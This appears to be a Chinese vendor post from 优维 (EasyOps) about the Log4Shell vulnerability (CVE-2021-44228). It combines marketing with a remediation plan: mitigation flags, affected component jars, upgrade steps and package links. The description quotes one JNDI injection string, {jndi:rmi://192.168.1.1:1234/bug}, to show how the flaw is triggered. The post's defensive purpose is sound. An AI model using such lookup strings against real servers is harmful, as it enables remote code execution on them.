修复Log4j2漏洞:来自优维的安全感!
先前,Log4j2项目爆出的漏洞
堪称核弹级的漏洞
那这么硬核的漏洞
究竟要多复杂的动作才能触发
Apache Log4j2远程代码执行呢?
答案简单得令人害怕:
只需外部用户输入的数据被日志记录!!
由于它被作为基础组件用在很多Java框架和项目中影响了数以百万计的应用,因此绝大多数使用Java项目的公司都会被波及。
经多方验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,危害极大!
漏洞猛如虎
优维针对0day漏洞快速响应
提供有效方案闪电堵漏
用极致的专业度
切实保障旗下客户的业务安全
Log4j2漏洞危机在优维的辐射范围内早已
雨!过!天!晴!
快来看看我们是怎么动态×追击×堵漏的吧👀 👀
12⽉9号深夜,ApacheLog4j2被曝出⼀个⾼危漏洞,攻击者通过jndi注⼊攻击的形式可以轻松远程执⾏任何代码。
随后官⽅紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未能完全解决问题,现在已经更新到2.15.0-rc2。
该漏洞被命名为Log4Shell,编号:CVE-2021-44228。
使⽤官⽹https://logging.apache.org/log4j/2.x/manual/lookups.html中提到的lookup功能,如果⽇志记录的内容进⾏类似以下这种形式调⽤{jndi:rmi://192.168.1.1:1234/bug},就可以直接在服务器端远程调⽤攻击者注册的名为"bug"的服务。
① 升级ApacheLog4j2所有相关应⽤到最新的log4j-2.15.0-rc2版本,rc1版本已被证实存在绕过⻛险。下载地址为https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2;
② 配置⽹络防⽕墙, 禁⽌系统主动外连⽹络, 包含不限于DNS、TCP/IP、 ICMP;
③ 升级已知受影响的应⽤及组件,比如srping-boot-strater-log4j2、ApacheSolr、ApacheFlink、ApacheDruid、ApacheStruts2。
# 紧急加固缓解措施
① 设置配置参数: log4j2.formatMsgNoLookups=true;
② 修改JVM参数: -Dlog4j2.formatMsgNoLookups=true;
③ 修改系统环境变量:FORMAT_MESSAGES_PATTER_DISABLE_LOOKUPS设置为true;
④ 禁⽌log4j2所在服务器外连;
⑤ 升级jdk版本⾄6u211/7u201/8u191/11.0.1以上。
# 关联影响组件
# zookeeper(基础组件)
1. /usr/local/easyops/zookeeper/lib/log4j-1.2.16.jar
/usr/local/easyops/zookeeper/lib/log4j-1.2.17.jar
2. /usr/local/easyops/zookeeper/lib/slf4j-log4j12-1.7.25.jar
# elasticsearch(已废弃使⽤, 新版本建议直接停⽌服务, 并移除⽂件)
1. /usr/local/easyops/elasticsearch/lib/log4j-api-2.11.1.jar
/usr/local/easyops/elasticsearch/lib/log4j-1.2-api-2.11.1.jar
2. /usr/local/easyops/elasticsearch/lib/log4j-core-2.11.1.jar
# kafka(基础组件)
1. /usr/local/easyops/kafka/libs/log4j-1.2.17.jar
/usr/local/easyops/flink_jobmanager/lib/log4j-over-slf4j-1.7.7.jar
2. /usr/local/easyops/flink_taskmanager/lib/log4j-over-slf4j-1.7.7.jar
# flowable(必须升级, 影响ITSC功能)
1. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-api-2.13.3.jar
2. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-core-2.13.3.jar
3. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-jul-2.13.3.jar
4. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-slf4j-impl-2.13.3.jar
5. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/spring-boot-starter-log4j2-2.3.6.RELEASE.jar
# sqlextractor(必须升级, 影响数据库变更功能)
# file_previewer(必须升级)
# flink_jobmanager(监控组件, 使⽤log4j1.x的库, 可不升级)
# flink_taskmanager(监控组件, 使⽤log4j1.x的库, 可不升级)
# storm_nimbus/supervisor/topology(组件已经废弃使用,在有flink的情况下, 直接停⽌, 并移⾛)
1. 006373-【zookeeper:3.1.0 kafka:3.2.0】 升级 Log4j到2.15
2. 006372-【file_previewer:1.0.21⽂件预览】 升级log4j漏洞
3. 006371-【flowable:1.3.4】 flowable log4j漏洞修复
4. 006365-【sqlextractor:1.1.3】 优化对象提取速度
# 参与人员
1. 各区域专人负责,必须是熟手
1. 2021-12-14 - 2022-01-28
# 升级原则
1. 升级前和客户进⾏充分沟通,协商好升级窗⼝
2. 先在⽤户侧测试环境升级,确认升级符合预期后才可进⾏⽣产环境升级,并提前做好必要的数据备份;优先⽀持重点客户和使⽤easyuc控制台的客户
# 升级easyops平台组件(按单组件模式)
# zookeeper、kafka、flowable组件(必须升级)
建议升级的3个组件(flowable:1.3.4、kafka:3.2.0、zookeeper:3.1.0)
http://192.168.100.46/upgrade-center/update_must.tar.gz
【修复版本-flowable(log4j2:2.13.3->2.15.0) 、kafka(log4j:1.2.17->2.
# 数据库变更组件(可选:sqlextractor:1.1.3)
http://192.168.100.46/upgrade-center/update_must.tar.gz
http://192.168.100.46/upgrade-center/update_sqlextractor.tar.gz
【修复版本-sqlextractor(log4j2:2.14.0->2.15.0)】
sqlextractor:1.1.3
# itsc组件 (可选:file_previewer:1.0.21)
# 按需升级itsc1个组件(file_previewer:1.0.21)
http://192.168.100.46/upgrade-center/file_previewe.tar.gz
【修复版本-file_previewer(log4j2:2.14.0->2.15.0)】
# 针对⽬前平台已弃⽤组件es及stom类组件
# es(确保已安装easy_core组件则代表当前es已弃⽤)
停掉es并将log4j所在⽬录都删除即可保留当前es组件主⽬录及对应的version.ini,防⽌后续ucpro升级会再次拉到该组件
# storm各组件(确保当前平台已安装flink组件,则storm_nimbus/supervisor/topology已弃⽤)
停掉strom并将log4j所在⽬录都删除即可保留当前storm组件主⽬录及对应的version.ini,防⽌后续ucpro升级会再次拉到该组件
1. 各区域负责人收集反馈客户升级结果,统一反馈到chase这里
将下载好组件包放到机器的任意⽬录下,解压组件包——进⼊升级包
执⾏命令(⼀定要在bin的同级⽬录执⾏):
./bin/easyuc-ip 127.0.0.1
# 集群(⽣产环境)
将下载好的组件包放到ucpro所在主机, 解压组件包——进⼊升级包
执⾏命令例⼦(org替换现场客户org, ⼀定要在bin的同级⽬录执⾏):
./bin/easyuc-hosts/usr/local/ucpro/ucpro_service/conf/easyops_hosts.ini-org 1888
明枪易躲,暗箭难防
维护客户的运维安全是优维的天赋使命
以上种种应对Log4j2漏洞的修复
虽然硬核但也只是我们的常规操作
无论你们怎么点赞
我们都不会骄傲